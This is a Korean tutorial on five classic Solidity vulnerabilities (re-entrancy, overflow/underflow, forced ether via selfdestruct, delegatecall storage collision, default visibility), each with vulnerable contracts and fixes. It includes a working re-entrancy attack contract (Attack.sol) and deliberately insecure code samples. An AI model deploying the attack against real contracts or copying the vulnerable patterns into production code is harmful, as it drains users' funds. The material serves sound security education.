2. Ethereum 혹은 Solidity의 잘 알려진 취약점 설명, 해당 취약점을 가진 컨트랙트 구현 및 공격 (3개 이상)

1) Re-Entrancy

(1) 취약점 설명

`re-entrancy` 공격은 어떤 컨트랙트가 있을 때, 해당 컨트랙트의 특정 함수를 `recursive` 하게 반복적으로 재호출하도록 만들어 공격자 컨트랙트에게 ether를 연속적으로 전송하도록 만드는 공격이다. 이 때 사용되는 것은 공격 컨트랙트의 `fallback` 함수인데, `fallback` 함수는 컨트랙트에게 데이터가 없는 plain ether가 전달되었을 때, 또는 전달된 method id와 매칭되는 함수가 없을 경우 실행되는 함수이다.

공격 컨트랙트의 `fallback` 함수 안에 취약점을 가진 컨트랙트의 함수를 호출하는 코드를 작성한다. 이 때 취약점을 가진 컨트랙트의 함수 내부에는 `외부 주소(external address)`에게 ether를 전송하는 코드가 포함되어 있다.

기본적인 공격 루틴은 다음과 같다.

1. 공격 컨트랙트는 해당 취약한 컨트랙트의 함수를 호출한다.
2. 호출된 컨트랙트에서 공격 컨트랙트에게 ether를 전송한다.
3. 공격 컨트랙트의 `fallback` 함수가 실행된다.
4. 공격 컨트랙트의 `fallback` 함수에서 다시 취약한 함수를 호출하여 공격대상 컨트랙트에 재진입(`re-enter`)한다.
5. 2~4의 과정이 반복된다.
6. 공격 컨트랙트는 조건문에서 취약한 컨트랙트의 잔액을 확인하여 잔액이 충분하지 않으면 `re-entrancy` 공격을 중단한다.

(2) 공격 컨트랙트 예제

EtherBank.sol

```
pragma solidity ^0.4.8;

contract EtherBank {
  mapping(address => uint256) public balances;

  function deposit() public payable {
      balances[msg.sender] += msg.value;
  }

  function withdraw(uint256 _weiToWithdraw) public {
      require(balances[msg.sender] >= _weiToWithdraw);
      require(msg.sender.call.value(_weiToWithdraw)());
      balances[msg.sender] -= _weiToWithdraw;
  }
}
```

Attack.sol

```
pragma solidity ^0.4.8;
```

```
import "./EtherBank.sol";

contract Attack {
  EtherBank public etherBank;
  address private owner;

  constructor(address _etherBankAddress, address _owner) {
    etherBank = EtherBank(_etherBankAddress);
  }

  function startAttack() public payable {
    // doposit ether to EtherBank.
    etherBank.deposit.value(1 ether)();
    // withdraw ether from EtherBank.
    etherBank.withdraw(1 ether);
  }

  function collectEther() public {
    // the attacker collects ether.
    require(msg.sender == owner);
    msg.sender.transfer(this.balance);
  }

  function () payable {
    if (etherBank.balance > 1 ether) {
        etherBank.withdraw(1 ether);
    }
  }
}
```

1. 공격자는 `Attack` 컨트랙트를 배포하면서 공격대상이 되는 `EtherBank` 컨트랙트의 주소와 나중에 모아진 ether를 회수할 owner 주소를 설정한다.
2. 공격자는 `Attack` 컨트랙트의 `startAttack()` 함수를 호출한다.
3. `startAttack()` 함수는 `EtherBank` 컨트랙트의 `deposit()` 함수를 호출하며 1 ether를 전송한다.
4. `EtherBank` 컨트랙트의 `deposit()` 함수는 `Attack` 컨트랙트의 balance를 증가시킨다.
5. `startAttack()` 함수는 곧 바로 `EtherBank` 컨트랙트의 `withdraw()` 함수를 호출하여 1 ether 출금을 요청한다.
6. `EtherBank` 컨트랙트의 `withdraw()` 함수는 자신을 호출한 `Attack` 컨트랙트의 balance가 충분한 것을 검사한 후에 `Attack` 컨트랙트에게 1 ether를 전송한다.
7. `Attack` 컨트랙트의 `fallback` 함수가 호출된다.
8. `fallback` 함수는 `EtherBank` 의 balance를 검사한 후에 다시 `withdraw()` 함수를 호출하여 재진입(`re-enter`)한다.
9. 6~8번 과정이 반복된다.
10. `fallback` 함수에서 `EtherBank` 의 balance가 충분하지 않을 경우 함수 호출을 중단한다.
11. 공격자는 `Attack` 컨트랙트의 `collectEther()` 함수를 호출하여 모아진 ether를 출금한다.

(3) 취약점 해결방법

1. Checks-Effects-Interactions Pattern

위 예제에서 `re-entrancy` 공격이 가능했던 이유는 컨트랙트가 `외부 주소(external address)` 의 컨트랙트를 호출하면 `control flow` 에 대한 모든 책임이 호출된 외부 컨트랙트로 넘어가기 때문이다. 즉 외부 컨트랙트가 `control flow` 를 제어하기 때문에 공격자가 원하는대로 `control flow` 를 제어하여 악용할 수 있는 것이다.

따라서 이와 같은 공격을 방어하기 위해서는 `외부 호출(external call)` 을 하기 이전에 변경해야 하는 모든 states를 미리 업데이트해야 한다. 이렇게 하면 `re-entrancy` 공격이 발생해도 미리 state를 변경했기 때문에 `require()` 함수를 통과하지 못하고 revert된다.

이처럼 공격의 시작점이 될 수 있는 `external interaction` 이 발생하기 전에 중요한 states를 먼저 업데이트함으로써 외부 컨트랙트에게 control flow가 넘어가더라도 문제가 발생하지 않도록 코드를 작성하는 방법을 `Checks-Effects-Interactions Pattern` 이라고 한다.

이제 다시 위의 공격 예제를 살펴보도록 하자. 위의 공격 예제에서 공격의 대상이 되었던 취약한 함수는 바로 `withdraw()` 함수이다.

```
function withdraw(uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
}
```

위 코드에서 `msg.sender.call.value()` 함수가 호출되면서 공격 컨트랙트의 `fallback` 함수가 호출되고 그 이후로 계속 `withdraw()` 함수가 `recursive` 하게 호출된다. 이 때 ***balance를 차감하는 코드가 `msg.sender.call.value()` 함수보다 밑에 있기 때문에*** balance가 차감되기도 전에 `re-entrancy` 공격이 발생하여 `withdraw()` 함수 첫 줄에 있는 `msg.sender` 의 balance를 검사하는 코드를 계속 통과하게 되는 것이다.

따라서 `re-entrancy` 공격을 막기 위해서는 ***`msg.sender` 에게 ether를 전송하기 전에 balance를 차감하는 코드를 먼저 실행해야 한다.*** 이렇게 하면 `fallback` 함수에 의해 `recursive` 하게 `withdraw()` 함수가 실행된다고 해도 balance가 차감되어 `reuiqre()` 를 통과하지 못하므로 공격에 실패한다.
수정된 코드는 다음과 같다.

```
function withdraw(uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // subtract ether from the balance first.
    balances[msg.sender] -= _weiToWithdraw;
    // then send ether to the msg.sender
    require(msg.sender.call.value(_weiToWithdraw)());
}
```

2. Mutex

컨트랙트에 state 변수를 추가하여 특정 코드가 실행되는 동안 `mutex` 기능에 의해 해당 코드에 재진입하는 것을 방지할 수 있다.

`mutex` 가 적용된 코드는 다음과 같다.

```
pragma solidity ^0.4.8;

contract EtherBank {
  mapping(address => uint256) public balances;
  bool reEntMutex = false;    // declare mutex variable.
```

```
  function deposit() public payable {
      balances[msg.sender] += msg.value;
  }

  function withdraw(uint256 _weiToWithdraw) public {
    // check mutex.
    require(!reEntMutex);
    // lock mutex.
    reEntMutex = true;
    require(balances[msg.sender] >= _weiToWithdraw);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    // release mutex.
    reEntMutex = false;
  }
}
```

> ***참고사항*** *:*
> *예전에는* `transfer()` *또는* `send()` *함수를 이용하면 사용할 수 있는 가스의 양이* `2300 gas` *로 제한되기 때문에* `fallback` *함수에서 다른 컨트랙트에 재진입하기에 가스가 충분하지 않아서* `re-entrancy` *공격을 방어할 수 있다고 여겨졌으나, opcode gas cost는 고정된 값이 아니라 계속 바뀔 수 있기 때문에 현재는* `transfer()` *또는* `send()` *함수를 사용하여* `re-entrancy` *공격을 방지하는 것은 안전하지 않은 방법으로 여겨진다.*

2) Overflow / Underflow

(1) 취약점 설명

`Ethereum Virtual Machine (EVM)` 은 각 변수의 데이터 타입에 따라 고정된 크기를 할당한다. 따라서 `정수형 (integer)` 타입의 변수들은 고정된 범위의 값만 저장할 수 있다.

예를 들어 `uint8` 타입의 변수는 [0, 255] 사이의 값만 저장할 수 있다. 만약에 `uint8` 타입의 변수에 255가 할당되어 있을 경우 이 변수에 1을 더하게 되면 256이 아니라 값은 0이 된다. 이것을 `overflow` 라고 부른다.
그리고 만약 해당 변수에 0이 저장되어 있을 때 1을 뺀다면 변수의 값은 -1이 아닌 255가 된다. 이것을 `underflow` 라고 부른다.

```
uint8 a = 255;
a = a + 1; // a = 0, overflow

uint8 b = 0;
b = b - 1; // b = 255, underflow
```

이것은 다른 데이터 타입의 정수에도 동일하게 발생한다. 예를 들어 `uint256` 타입의 변수에 1이 저장되어 있을 때 여기에 (2^{256} - 1) 값을 더하면 해당 변수의 값은 `overflow` 가 발생하여 0이 된다.

이러한 `overflow` 또는 `underflow` 특성이 악용될 경우 공격의 포인트가 되는 취약점이 될 수 있다. 특히 어떤 두 값을 연산하여 나온 결과를 비교하는 코드가 잘못 작성되었을 경우 해당 `require()` 함수를 손쉽게 `bypass` 하는 심각한 문제를 발생시킬 수 있다.

(2) 공격 컨트랙트 예제

Token.sol

```
pragma solidity ^0.4.18;

contract Token {
  mapping(address => uint) balances;

  uint public totalSupply;
  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public constant returns (uint balance) {
    return balances[_owner];
  }
}
```

위 컨트랙트는 토큰 컨트랙트로서 `transfer()` 함수를 통해 사용자 간에 토큰을 주고받을 수 있는 기능을 갖고 있다. `transfer()` 함수를 호출하면, `msg.sender` 가 충분한 balance를 검사한 뒤, `msg.sender` 의 토큰을 감소시키고 그 만큼 상대방의 토큰을 증가시킨다.

하지만 `transfer()` 함수는 `underflow` 에 대한 취약점을 갖고 있다.

```
function transfer(address _to, uint _value) public returns (bool) {
  require(balances[msg.sender] - _value >= 0);
  balances[msg.sender] -= _value;
  balances[_to] += _value;
  return true;
}
```

위의 코드에서 처음 `transfer()` 함수가 호출되면 balance를 검사하는데, 이 때 msg.sender의 balance에서 입력된 value 만큼을 빼서 충분한 balance가 있는지 검사한다.

문제는 `balances[msg.sender] - _value` 연산 결과가 음수(negative number)가 돼야할 때는 `underflow` 가 발생하여 실제 결과값은 양수(positive number)가 되기 때문에 해당 `require()` 함수를 문제없이 통과하게 된다.

예를 들어 `msg.sender` 의 balance에 0이 저장되어 있을 때, 이 값에서 1을 뺄 경우 `uint` 타입은 256비트 크기를 갖기 때문에 변수에는 (2^{256} - 1)의 매우 큰 양수가 저장된다.

이렇게 `underflow` 취약점을 공격할 경우 손쉽게 `require()` 함수를 `bypass` 하고, msg.sender의 토큰과 상대방의 토큰을 증가시키는 것이 가능하다.

(3) 취약점 해결방법

`overflow` 또는 `underflow`를 방지하기 위한 일반적인 방법은 수학적 연산(덧셈, 뺄셈, 곱셈 등)을 할 때는 `Solidity`의 표준 연산을 사용하는 것이 아니라 수학 연산을 안전하게 할 수 있는 `라이브러리`를 사용하는 것이다.

대표적으로 `OppenZepplin`에서 만든 `SafeMath` 라이브러리를 사용하면 수학적 연산을 할 때 `overflow` 또는 `underflow`를 방지하여 안전하게 코드를 실행할 수 있다.

다음은 `SafeMath` 코드의 일부분을 적용하여 안전하게 작성된 컨트랙트 예제이다.

```
pragma solidity ^0.4.18;

library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract Token {
  using SafeMath for uint; // use SafeMath library for uint type
  mapping(address => uint) balances;

  uint public totalSupply;
  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

 function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender].sub(_value) >= 0);           // use SafeMath sub
function.
    balances[msg.sender] = balances[msg.sender].sub(_value);  // use SafeMath sub
function.
    balances[_to] = balances[_to].add(_value);                // use SafeMath add
function.
    return true;
  }
```

```
  function balanceOf(address _owner) public constant returns (uint balance) {
    return balances[_owner];
  }
}
```

위의 코드에서는 기존에 사용했던 standard math operator들이 `SafeMath` 라이브러리의 함수로 대체된 것을 볼 수 있다. 이렇게 하면 수학 연산을 할 때 안전하게 `overflow` 또는 `underflow`를 방지할 수 있다.

3) Unexpected Ether Transfer

(1) 취약점 설명

어떤 컨트랙트에 ether가 전송되었을 때는 전송된 데이터에 매칭되는 적절한 함수가 호출되거나 또는 fallback 함수가 실행되는 것이 일반적이다.

하지만 컨트랙트에 ether가 전송되어도 어떠한 함수도 호출되지 않는 예외적인 상황이 두 가지가 있다. 첫 번째는 다른 컨트랙트에서 `selfdestruct()` 함수를 호출하는 것이고, 두 번째는 컨트랙트가 생성되기 이전에 전송된 `pre-sent ether`이다.

Self Destruct

컨트랙트는 `selfdestruct()` 함수를 호출할 경우 컨트랙트에 의해 생성된 모든 bytecode를 삭제하고 해당 컨트랙트에 저장되어 있던 모든 ether를 지정된 주소로 전송할 수 있다. 이 때 ether가 전송되는 주소는 일반 주소일 수도 있고 컨트랙트 주소일 수도 있는데, `selfdestruct()` 과정에서 ether가 컨트랙트로 전송될 경우 ***`fallback` 함수를 포함한 어떠한 함수도 호출되지 않는다.*** 따라서 다른 컨트랙트에서 `selfdestruct()` 함수를 호출하여 ether를 전송하면 전송받은 컨트랙트는 `payable` modifier를 사용하지 않고도 ether를 전송받는 것이다.

> ***참고사항*** *:*
> *원래는 `selfdestruct` 라는 이름 대신 `suicide` 라는 이름을 사용하였지만, `suicide` 라는 단어가 주는 부정적인 의미 때문에 `EIP-6` 에서 제안되어 현재는 `selfdestruct` 로 이름이 바뀌었다. 따라서 Solidity v0.5.0 이후부터는 반드시 `selfdestruct` 를 사용해야 한다.*

Pre-Sent Ether

두 번째로 `payable` modifier 없이 컨트랙트에서 ether를 전송받을 수 있는 방법은 컨트랙트가 생성되기 전에 미리 ether를 전송받는 것이다. 컨트랙트의 주소를 생성하는 것은 결정적(deterministic)이기 때문에 미리 컨트랙트의 주소를 계산하는 것이 가능하다.

아래의 컨트랙트의 주소를 계산하는 수식을 보면 `account address`와 `transaction nonce`를 미리 알 수 있기 때문에 생성할 컨트랙트의 주소를 미리 계산하여 해당 주소로 미리 `ether`를 전송할 수 있다.

```
address = sha3(rlp.encode([account_address,transaction_nonce]))
```

만약 컨트랙트를 작성할 때 이러한 `payable` 없이 ether를 전송받는 예외적인 상황을 고려하지 않고 컨트랙트를 작성할 경우 해당 컨트랙트의 기능 중에 ether balance를 참조하여 동작하는 코드가 있다면 이것은 공격의 대상이 될 수 있다.

(2) 공격 컨트랙트 예제

```
pragma solidity ^0.4.18;

contract Charity {
  uint public donationGoal = 100 ether;
  address public donee;
  mapping(address => uint) donationList;

  function Charity (address _donee) public {
    donee = _donee;
  }

  function donate() public payable {
    // each user donates 1 ether per transaction.
    require(msg.value == 1 ether);
    donationList[msg.sender] += msg.value;
    return;
  }

  function sendDonation() public {
    require(this.balance == donationGoal);
    donee.transfer(this.balance);
  }
}
```

위의 `Charity` 컨트랙트는 사람들로부터 한 번에 1 ether씩 기부금을 전달받아서 최종 목표인 100 ether를 달성하면 `sendDonation()` 함수를 호출하여 모금액을 미리 지정한 수급자에게 전달한다.

이 때 `sendDonation()` 함수의 코드를 보면 기부금액의 목표를 달성했는지 검사하는 조건이 있는데 이 때 `this.balance` 를 사용하는 것을 볼 수 있다.

```
function sendDonation() public {
  require(this.balance == donationGoal);
  donee.transfer(this.balance);
}
```

여기서 문제점은 컨트랙트는 예기치 못한 ether를 전송받을 수 있다는 것이다. 이럴 경우 사용자들은 1 ether씩 기부를 하게 되지만 예기치 못한 ether의 전송으로 `this.balance` 의 값이 목표치인 100 ether에 정확하게 도달하지 못할 수도 있다.

예를 들어 어떠한 공격자가 의도적으로 자신의 컨트랙트에서 `selfdestruct()` 함수를 호출하여 0.1 ether를 `Charity` 컨트랙트에 전송했을 경우 정상적인 사용자들이 1 ether씩 기부를 계속할 경우 `99.1 ether` 다음에는 `100.1 ether` 가 쌓이게 된다. 이럴 경우 해당 모금액은 100 ether를 정확히 달성하지 못하기 때문에 절대 수급자에게 모금액이 전달될 수 없게 된다.

(3) 취약점 해결방법

위 컨트랙트 예제에서 문제가 된 것은 바로 `this.balance` 변수의 사용이다. 컨트랙트를 작성할 때는 사용자들이 1 ether씩 기부할 것을 예상하여 작성하였지만 예기치 않은 공격자의 ether 전송으로 `this.balance` 값이 예상하지 못한 값으로 바뀌면서

문제가 발생한 것이다.

이런 경우 문제를 해결하기 위해서는 `this.balance` 를 사용하는 것이 아니라 기부금의 balance를 따로 기록하는 상태 변수를 만들어서 관리하는 방법을 사용할 수 있다.

기부금액을 따로 저장하는 상태 변수를 적용한 컨트랙트 코드는 아래와 같다.

```
pragma solidity ^0.4.18;

contract Charity {
  uint public donationGoal = 100 ether;
  address public donee;
  mapping(address => uint) donationList;
  uint public donationBalance;  // declare donation balance variable.

  function Charity (address _donee) public {
    donee = _donee;
  }

  function donate() public payable {
    // each user donates 1 ether per transaction.
    require(msg.value == 1 ether);
    donationList[msg.sender] += msg.value;
    donationBalance += msg.value;  // increase the donation balance.
    return;
  }

  function sendDonation() public {
    require(donationBalance == donationGoal);  // check the donation balance.
    donee.transfer(this.balance);
  }
}
```

위의 코드에서는 더 이상 `this.balance` 를 참조하지 않고 사용자들이 `donate()` 함수를 호출할 때마다 기부금액을 기록하는 `donationBalance` 변수를 따로 사용함으로써 컨트랙트가 예상치 못한 ether를 전달받았을 때 발생하는 문제를 방지할 수 있다.

4) Delegate Call

(1) 취약점 설명

`delegatecall` 은 `message call` 과 비슷하게 다른 컨트랙트를 호출하거나 ether를 전송할 때 사용할 수 있다. 하지만 차이점이 있는데, `delegatecall` 을 사용하면 타겟 컨트랙트의 코드가 실행될 때, 해당 타겟 컨트랙트를 호출한 컨트랙트의 `컨텍스트(context)` 상에서 코드가 실행되며 최초의 `msg.sender` 와 `msg.value` 가 바뀌지 않는다. 그리고 만약 타겟 컨트랙트가 `상태 변수(state variables)` 를 변경하면 자신의 컨텍스트 상의 상태 변수가 아니라 자신을 호출한 컨트랙트의 상태 변수를 변경하게 된다.
이것은 동적으로 교체가능한 라이브러리를 구현하거나 모듈화하는데 있어서 매우 유용한 방법으로 쓰일 수 있다.

그러나 호출된 라이브러리 컨트랙트가 어떻게 동작하는지 정확히 파악하지 못한 상태에서 함부로 `delegatecall` 을 사용할 경우 이것은 심각한 취약점이 될 수 있다.

(2) 공격 컨트랙트 예제

IncentiveLib.sol

```
pragma solidity ^0.4.18;

contract IncentiveLib {
  address public owner;
  uint256 public bonus;
  uint256 public calculatedIncentive;

  function IncentiveLib() {
    owner = msg.sender;
  }

  function calIncentive(uint256 _wei) {
    calculatedIncentive = 2 * _wei + bonus;
  }

  function setBonus(uint256 _bonus) {
    bonus = _bonus;
  }
}
```

Incentive.sol

```
pragma solidity ^0.4.18;

contract Incentive {
  address public owner;
  address public incentiveLib;
  uint256 public calculatedIncentive;
  bytes4 constant calSig = bytes4(keccak256("calIncentive(uint256)"));

  function Incentive(address _incentiveLib) {
    incentiveLib = _incentiveLib;
    owner = msg.sender;
  }

  function giveIncentive(address _receiver, uint256 _wei) {
    require(msg.sender == owner);
    require(incentiveLib.delegatecall(calSig, _wei));
    require(_receiver.call.value(calculatedIncentive)());
  }

  function() payable {
    if(msg.value > 0) {
     return;
    } else {
      require(incentiveLib.delegatecall(msg.data));
```

```
    }
  }
}
```

위의 `IncentiveLib` 컨트랙트는 사용자가 `Incentive` 컨트랙트를 이용해 다른 누군가에게 ether를 전송할 때 동적으로 `IncentiveLib` 에서 인센티브를 계산하여 ether를 전송하기 위한 라이브러리이다.

그리고 `Incentive` 컨트랙트는 사용자가 `getIncentive()` 함수를 호출하여 원하는 다른 사용자에게 계산된 인센티브를 전송하는 역할을 한다.

위에서 문제가 되는 부분은 바로 `Incentive` 컨트랙트가 `delegatecall()` 을 호출하는 부분이다.

각 컨트랙트가 가진 상태 변수(state variables)만 살펴보면 아래와 같다.

```
// IncentiveLib.sol
address public owner;
uint256 public bonus;
uint256 public calculatedIncentive;

// Incentive.sol
address public owner;
address public incentiveLib;
uint256 public calculatedIncentive;
bytes4 constant calSig = bytes4(keccak256("calIncentive(uint256)"));
```

`delegatecall()` 은 앞서 설명한 대로 호출한 컨트랙트의 컨텍스트 상에서 호출된 컨트랙트의 코드가 실행된다. 즉 `delegatecall()` 를 호출한 `Incentive` 컨트랙트의 컨텍스트에서 모든 코드가 실행되는 것인데, 변수들이 선언된 순서에 따라 `storage` 의 각 `slot` 에 다음과 같이 맵핑된다.

Storage	IncentiveLib.sol	Incentive.sol
slot[0]	owner	owner
slot[1]	bonus	incentiveLib
slot[2]	calculatedIncentive	calculatedIncentive

여기서 문제가 첫 번째 문제가 되는 함수는 `calIncentive()` 함수이다.

```
function calIncentive(uint256 _wei) {
  calculatedIncentive = 2 * _wei + bonus;
}
```

언뜻 보면 문제가 없어보이지만 `deletegatecall()` 로 호출했을 경우 `bonus` 가 `Incentive` 컨트랙트의 `incentiveLib` 변수로 맵핑된다. 따라서 `calculatedIncentive` 값은 `IncentiveLib` 의 주소값이 더해진 엉뚱한 결과가 된다.

이럴 경우 `giveIncentive()` 함수를 호출했을 때 `calculatedIncentive` 결과값이 잘못된 값이 전달되는데, 이 값만큼 `receiver` 에게 ether를 전송하기 때문에 상당한 문제를 야기할 수 있다.

두 번째로 문제가 되는 함수는 바로 `fallback` 함수이다.

```
function() payable {
  if(msg.value > 0) {
    return;
  } else {
    require(incentiveLib.delegatecall(msg.data));
  }
}
```

위의 fallback 함수를 보면 매칭되지 않는 method id가 전달되었을 때 항상 `incentiveLib.delegatecall()` 을 호출한다. 따라서 공격자는 `fallback` 함수를 이용하여 언제든지 `delegatecall()` 을 호출할 수 있다.

이 상태에서 악용할 수 있는 함수는 바로 `setBonus()` 함수이다.

```
function setBonus(uint256 _bonus) {
  bonus = _bonus;
}
```

위의 맵핑 테이블에서 설명한 것처럼 각 `slot` 의 인덱스에 따라 `bonus` 변수는 `incentiveLib` 변수로 맵핑된다. 따라서 공격자가 `fallback` 함수를 통해 `delegatecall()` 을 호출하여 `setBonus()` 함수를 호출할 경우 실제로는 `incentiveLib` 변수의 값을 변경할 수 있다.
이 값은 `incentiveLib` 의 주소를 가리키는데 공격자가 원하는 컨트랙트 주소로 변경할 수 있는 것이다. 이것은 매우 큰 문제를 야기할 수 있는 취약점이다.

(3) 취약점 해결방법

`Solidity` 에서는 `library` 키워드를 사용하여 라이브러리를 구현할 수 있다. `library` 로 선언된 컨트랙트는 상태가 없으며(`stateless`), 자체 삭제가 불가능하다(`non-self-destructible`). 이러한 라이브러리는 상태가 없기 때문에 해당 라이브러리의 상태를 변경하여 라이브러리에 의존하는 다른 컨트랙트에 영향을 미치는 공격이 원천적으로 불가능하다. 따라서 가능하면 라이브러리의 경우 `library` 를 사용하여 작성하는 것이 바람직하다.

`library` 의 경우에도 `delegatecall()` 로 호출되면 호출자 컨트랙트의 컨텍스트에서 코드가 실행된다. 따라서 호출자 컨트랙트의 상태 변수를 변경하는 것이 가능한데, 이 때 일반 컨트랙트와 다른 점은 ***명시적으로(explicitly) 호출자 컨트랙트의 상태 변수들을 전달해야 해당 변수를 변경할 수 있다는 것이다.*** 이렇게 하면 이전에 문제가 되었던 호출된 컨트랙트에서 선언된 변수의 순서에 맵핑하여 불안전하게 변수가 변경되는 것을 방지할 수 있다.

또는 컨트랙트에서 변경되어서는 안 되는 `state variables` 가 있을 경우에는 delegatecall을 호출받는 컨트랙트와 공동으로 `상속하는(inherit)` 컨트랙트를 만들어서 중요한 상태 변수를 변경할 때 각별한 주의를 기울이도록 만드는 것도 좋은 방법이다.

5) Default Visibilities

(1) 취약점 설명

`Solidity` 에서는 함수와 상태 변수에게 명시할 수 있는 4가지의 `visibilities` 가 있는데, 각 기능은 다음과 같다.

- `external` : external 함수들은 컨트랙트 인터페이스의 일부이며, `external` 로 선언된 함수는 반드시 외부 컨트랙트에서만 호출할 수 있다. 따라서 해당 컨트랙트 내부에서는 `external` 함수를 호출할 수 없다.
- `public` : public 함수들은 컨트랙트 인터페이스의 일부이며, 내부적으로도 호출가능하고, 또는 메시지를 통해서도 호출이 가능하다. public 상태 변수의 경우 자동적으로 getter 함수가 생성된다.
- `internal` : internal 함수와 상태 변수들은 오직 내부적으로만(internally) 접근이 가능하다. 이 때 부모 컨트랙트로부터 derived된 컨트랙트도 internal 함수와 변수에 접근이 가능하다.
- `private` : private 함수와 상태 변수들은 오직 자신이 선언된 해당 컨트랙트에서만 호출이나 사용이 가능하다.

> ***참고사항 :***
> *어떤 컨트랙트 안에 있는 변수와 함수는 블록체인 상에 저장되어 누구나 볼 수 있다. 다만 `private` 키워드를 사용하는 이유는 외부 컨트랙트에서 해당 함수나 변수에 접근하는 것을 방지하기 위한 것이다.*

함수를 선언할 때 default visibility는 `public` 으로 선언된다. 따라서 이 함수는 외부 사용자나 컨트랙트에 의해 호출이 가능하다. 그러므로 만약 실수로 컨트랙트 내부에서만 호출되어야 하는 함수를 `private` 으로 선언하지 않았을 경우 취약점이 될 수 있다.

(2) 공격 컨트랙트 예제

다음은 매우 간단한 컨트랙트로서 사용자들이 주소의 하위 4바이트가 모두 0인 주소를 찾아내면 상금을 받는 컨트랙트이다.

```
contract HashForEther {
  function withdrawWinnings() {
    // Winner if the last 8 hex characters of the address are 0.
    require(uint32(msg.sender) == 0);
    _sendWinnings();
  }

  function _sendWinnings() {
    msg.sender.transfer(this.balance);
  }
}
```

이 때 `withdrawWinnings()` 안에서 주소의 마지막 4바이트를 검사한 뒤 `_sendWinnings()` 함수를 호출하여 상금을 전송한다.

문제는 `_sendWinnings()` 함수에 visibility가 지정되어 있지 않기 때문에 `default` 인 `public` 으로 설정된다는 점이다. 따라서 공격자는 바로 `_sendWinnings()` 함수를 직접 호출하여 ether를 전송받을 수 있다.

(3) 취약점 해결방법

가능한 모든 곳에 visibility를 명시적으로(explicitly) 지정해주는 것이 가장 좋다.

우선은 기본적으로 컨트랙트의 함수나 변수들을 `private` 으로 선언하고, 반드시 외부에서 호출해야 하거나 사용해야하는 공유해야 하는 것에 대해서만 `internal` , `public` , `external` 을 지정한다.

그리고 최신 버전의 컴파일러를 사용하면 반드시 `visibility`를 명시하도록 강제하기 때문에 되도록이면 최신 컴파일러를 사용하여 도움을 받는 것도 좋은 방법이다.

References

[1] *vasa. (2018, Jul 23). HackPedia: 16 Solidity Hacks/Vulnerabilities, their Fixes and Real World Examples [Medium Blog Post]*